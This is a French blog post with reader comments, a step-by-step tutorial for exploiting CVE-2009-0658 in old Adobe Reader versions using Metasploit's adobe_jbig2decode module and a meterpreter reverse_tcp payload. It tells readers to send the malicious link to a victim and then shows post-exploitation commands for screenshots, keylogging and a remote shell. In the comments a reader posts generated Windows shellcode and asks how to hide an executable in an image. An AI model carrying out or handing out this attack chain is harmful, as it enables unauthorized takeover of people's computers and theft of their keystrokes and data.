Metasploit et les failles dans Adobe Reader et Flash Player


Adobe Flash
Nous avons vu dernièrement l'utilisation de Metasploit sous Linux. Nous allons maintenant approfondir un peu plus le sujet, en prenant pour exemple l'exploitation d'une faille dans un des logiciels de la société Adobe.

Camion Adobe

La faille (CVE-2009-0658) que nous allons utiliser pour notre exemple, concerne un problème de sécurité lors de la lecture de fichiers PDF qui utilisent la compression JBIG2. Dans certains cas, l'ouverture du fichier avec Adobe Reader peu provoquer un "Buffer overflow" et permettre ainsi à une personne malveillante de prendre le contrôle d'une machine à distance.

Attention, seules les versions suivantes d'Adobe Reader sont concernées :

  • Adobe Reader v9.0.0 (Windows XP SP3)
  • Adobe Reader v8.1.2 (Windows XP SP2)

Afin de réaliser ce test, vous pouvez récupérer la version 9.0.0 d'Adobe Reader ici. Le module disponible dans Metasploit permettant de reproduire cette faille est connu sous le nom de "adobe_jbig2decode". Voici comment l'utiliser :

msf > use windows/browser/adobe_jbig2decode
msf > info windows/browser/adobe_jbig2decode
msf > show options
msf > set SRVHOST 192.168.1.100
msf > set SRVPORT 80
msf > set URIPATH /
msf > show targets
msf > set targets 0
msf > show payloads
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.100

Ici, on charge le payload "reverse_tcp". Ce bout de shellcode sera exécuté sur la machine cible une fois la vulnérabilité exploitée. Une connexion de type TCP inversée sera alors initialisée et vous permettra d'ouvrir une session distante (même à travers un firewall).

Le module étant correctement configuré, on peut lancer l'attaque :

msf > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.100:4444
[*] Using URL: http://1192.168.1.100:80/
[*] Server started.

Un serveur web temporaire est alors démarré. Il faut ensuite envoyer l'adresse de la page (http://192.168.1.100/) à une victime. Lorsque celle-ci cliquera sur le lien, un fichier PDF malveillant sera alors proposé au téléchargent. Si la personne accepte son ouverture avec Adobe Reader, Metasploit vous indiquera quelque chose comme ceci (à condition bien entendu, qu'elle utilise une des versions vulnérables citées ci-dessus) :

[*] Sending Adobe JBIG2Decode Memory Corruption Exploit to 192.168.1.106:60840...
[*] Sending stage (748032 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.100:4444 → 192.168.1.106:60251)

Il ne nous reste plus qu'à ouvrir une session à distance sur la machine :

msf > sessions -i 1
[*] Starting interaction with 1...

Ensuite, libre à vous de faire ce que vous voulez, comme récupérer des informations :

meterpreter > ipconfig
meterpreter > getuid
Server username: WINXP\Developer

Prendre un screenshot du bureau :

meterpreter > use espia
Loading extension espia...success.
meterpreter > screenshot hack.bmp

Démarrer un keylogger afin de capturer tout ce qui est saisi au clavier :

meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Ou encore ouvrir une boîte de dialogue MS-DOS :

meterpreter > shell
Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Developer\Desktop>

Bien entendu, la méthode décrite ci-dessous peut-être utilisée pour des failles touchant différentes versions du lecteur Adobe Flash Player ou d'Adobe Reader. Il est possible de lister l'ensemble des exploits connus avec la commande suivante sous Metasploit :

msf > search adobe


21 Commentaires pour "Metasploit et les failles dans Adobe Reader et Flash Player"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Bon a savoir je vais tester tout ça apres le boulot. Par contre quelqu'un peut m'expliquer ce que No NX or Win7 signifie sur metasploit ( dans la console msf-->show payloads "par exemple").

    RépondreRépondre
    Zaken , le 14 juin 2010 à 19:34
  •  

    J'aime ce que tu fais, mais la tournure que ça prend je trouve juste ça dommage, le domaine de la sécurité, surtout du "pentest" ce qu'offre msf est un secteur bien trop précis. Les 90% de tes lecteurs viennent sur ton blog, je ne pense pas pour lire des articles aussi avancé sur le pentest à moins d'être des personnes faisant des audit de sécurité pour des entreprises. De plus, savoir utiliser msf c'est bien pour ceux qui font des audits mais ceux qui l'utilise pour des fin public ça fait un peu script kiddies. Il me tarde de voir un article sur la recherche/découverte d'un exploit ;)
    Cordialement ;)

    RépondreRépondre
    Fatal1ty , le 14 juin 2010 à 21:47
  •  

    @Zaken : cela veut dire que le shellcode ne focnitonne pas sur des systèmes à base de Windows 7 ou des systèmes dont le CPU ne supporte pas le NX Bit (ex : cat /proc/cpuinfo | grep nx).

    @Fatal1ty : la sécurité est un thème abordé sur Tux-planet depuis bien longtemps (ex : Introduction au cracking sous Linux publié en 2006 et qui vise bien entendu un public bien précis). J'écris par envie et en ce moment j'étudie plutôt le fonctionnement de Metasploit.

    En ce qui concerne la recherche d'exploits, va falloir attendre que je sois meilleur dans le domaine ! :-)

    RépondreRépondre
    pti-seb , le 14 juin 2010 à 22:46
  •  

    Bonjour,
    je comprend parfaitement l'opinion de Zaken.
    cependant je tiens quand même a te remercier pour cette article qui me concernant m'a beaucoup intéressé.
    Cordialement

    RépondreRépondre
    kerti , le 14 juin 2010 à 22:51
  •  

    Super ton article, j'ai testé mais malheureusement ca n'a pas marcher comme je le voulais ... c.a.d
    que j'ai bien suivie les étapes, l'exploit s'execute bien sur la machine (Win XP SP3 & Adobe 9.0.0) cible mais le reverse_tcp ne donne rien !!! aucune session active ni rien :(

    details :

    - Mac OS X (10.6.3) avec VM Ubuntu (10.04) sur la quelle j'ai installé Metasploit

    j'ai testé en local c.a.d :
    Machine cible Windows XP (192.168.2.10)
    Ma machine OS X (192.168.2.11) et VM Ubuntu (192.168.2.12)

    Donc si ta une suggestion "pti-seb" !! en attendant je vais testé "windows/upexec/bind_tcp" avec un HelloWorld.exe si ca marche ;)

    RépondreRépondre
    ysn , le 15 juin 2010 à 07:51
  •  

    @ysn : personnellement, j'ai fait les tests suivants sans problème :

    - machine physique qui attaque une autre machine physique
    - machine physique qui attaque une machine virtuelle

    Mais je ne sais pas si ton cas est possible (machine virtuelle qui attaque une machine physique). Si tu ne veux pas installer Ubuntu, pourquoi n'installe tu pas Metasploit directement sur Mac OS X ? Une documentation d'installation est disponible ici.

    Sinon, si le problème viens de l'exécution du payload, essaye de voir ce qui bloque. Peut-être que dans certains cas, le "reverse_tcp" est bloqué par un firewall.

    Le mieux est peut-être de tester un payload un plus simple. Il y a par exemple "windows/exec" qui s'occupe de lancer une simple commande sur la machine cible Windows :

    msf > set PAYLOAD windows/exec
    msf > set CMD calc.exe

    Ici on lance la calculatrice à distance...

    RépondreRépondre
    pti-seb , le 15 juin 2010 à 08:20
  •  

    Mortel dans le cas d'un spoofing DNS, faut faire attention si on utilise une version de Windows vulnérable et qu'on a tendance a ce connecté à des Hot-spot.

    RépondreRépondre
    Bjnn , le 15 juin 2010 à 12:17
  •  

    @pti-seb : J'ai finalement installer Metasploit sur mon Mac OS X et j'ai efectué le test :
    (machine physique qui attaque une machine virtuelle & machine physique qui attaque une machine virtuelle) mais sans succés, j'ai meme tester le payload que tu ma conseiller mais pas de Calculatrice :(

    Je vais cherché un peux sur le web voir si y'a pas des personnes dans mon cas ;)

    Merci encore

    RépondreRépondre
    ysn , le 16 juin 2010 à 07:20
  •  

    Et la faille avec le flash a t-elle était intégré au framework ? Bien plus efficace que pour les pdf il me semble

    RépondreRépondre
    Bjnn , le 16 juin 2010 à 11:52
  •  

    Trop tard pour édité mais il semblerai que pour le flash ce soit windows/browser/adobe_flashplayer_newfunction. Vous connaîtriez pas un site qui permet de savoir ce qui a été ajouté comme faille au framework ?

    Y a exploit-db pour savoir ce qui sort, mais ajouté ?

    RépondreRépondre
    Bjnn , le 16 juin 2010 à 12:04
  •  

    @ysn : bizarre, il doit te manquer un truc ...

    @Bjnn : oui, pour la faille dans Flash (CVE-2010-1297), le module est bien windows/browser/adobe_flashplayer_newfunction. Je l'ai testé sur plusieurs machines cibles, pas moyen de le faire marcher...

    Ben sinon, pour être au courant des modifications apportés à Metasploit, je te conseille le blog officiel et la page qui recense les commits effectués sur le SVN officiel.

    RépondreRépondre
    pti-seb , le 16 juin 2010 à 12:16
  •  

    @pti-seb : Exactement le lien qui me fallait, merci

    RépondreRépondre
    Bjnn , le 16 juin 2010 à 12:30
  •  

    Ah TOP ton l'article et top le lien.

    RépondreRépondre
    Audit de référencement , le 16 juin 2010 à 18:20
  •  

    Y a aussi la faille en passant par une page utilisant le protocole HCP à tester ;) Sous xp seulement, pas encore de correctif officiel.

    http://www.exploit-db.com/exploits/13808/

    RépondreRépondre
    Bjnn , le 16 juin 2010 à 20:47
  •  

    Merci, en tout cas, j'attends que tu nous présente WordPress 3.0 avec toutes ses nouveautés :mrgreen:

    RépondreRépondre
    GeekNoise , le 18 juin 2010 à 11:44
  •  

    @GeekNoise : désolé de te décevoir, mais il n'y aura pas d'article sur WordPress 3.0. Des tas de sites en ont parlés, c'est pas la peine d'en remettre une couche. Je préfère me concentrer sur d'autres sujets... (même si l'été me donne un peu moins envie d'écrire et de passer mon temps en plein air !).

    RépondreRépondre
    pti-seb , le 18 juin 2010 à 14:21
  •  

    tahnks

    RépondreRépondre
    jojovaanni91 , le 17 novembre 2010 à 17:28
  •  

    Je veux savoir exactement c'est quoi "Une connexion de type TCP inversée", qu'est ce que se change au niveau segment, est ce que se sont des champs qui changent?? ou quoi exactement

    RépondreRépondre
    Ahlem , le 24 novembre 2010 à 10:50
  •  

    bonjour
    voila moi je voudrai lancer un shell executable dans une image ....sous vista
    voila le scripte
    msf > use windows/exec
    msf payload(exec) > show options

    Module options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    CMD yes The command string to execute
    EXITFUNC process yes Exit technique: seh, thread, process, none

    msf payload(exec) > set cmd taskkill /PID 12345
    cmd => taskkill /PID 12345
    msf payload(exec) > show options

    Module options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    CMD taskkill /PID 12345 yes The command string to execute
    EXITFUNC process yes Exit technique: seh, thread, process, none

    msf payload(exec) > generate -h
    Usage: generate [options]

    Generates a payload.

    OPTIONS:

    -E Force encoding.
    -b The list of characters to avoid: '\x00\xff'
    -e The name of the encoder module to use.
    -f The output file name (otherwise stdout)
    -h Help banner.
    -i the number of encoding iterations.
    -k Keep the template executable functional
    -o A comma separated list of options in VAR=VAL format.
    -p The Platform for output.
    -s NOP sled length.
    -t The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
    -x The executable template to use

    msf payload(exec) > generate -t exe -f /root/windows-exec-payload.exe
    [*] Writing 73802 bytes to /root/windows-exec-payload.exe...
    msf payload(exec) > generate -f /root/windows-exec-payload.shellcode
    [*] Writing 1013 bytes to /root/windows-exec-payload.shellcode...

    then

    root@bt:~# nano /root/windows-exec-payload.shellcode

    Should look like this;

    GNU nano 2.2.4 File: /home/ftp/windows-exec-payload.shellcode

    # windows/exec - 209 bytes
    # http://www.metasploit.com
    # EXITFUNC=process, CMD=taskkill /PID 528
    buf =
    "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
    "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
    "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
    "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
    "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
    "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
    "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
    "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
    "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
    "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
    "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" +
    "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" +
    "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +
    "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x74\x61\x73\x6b\x6b" +
    "\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x35\x32\x38\x00"

    EDIT: The shellcode listed above is from when I did mine. Started my windows XP VM, and notepad, which was PID 528. The exe worked fine. I haven't attempted the shellcode, but I generated it from within the framework as demonstrated above

    mais quand j'ouvre l'image l'execution ne se fais pas /
    merci de me repondre

    RépondreRépondre
    marsupio , le 25 février 2011 à 15:01
  •  

    Mais ou est ensuite enregistrer la capture par exemple du bureau ?? Dans quel fichier ; home,root,sur le cd live ou sa ?

    RépondreRépondre
    KBtarantino , le 24 mai 2011 à 14:54
  •  

    C est quad local ?

    RépondreRépondre
    KBtarantino , le 24 mai 2011 à 15:59
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité red hat redhat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum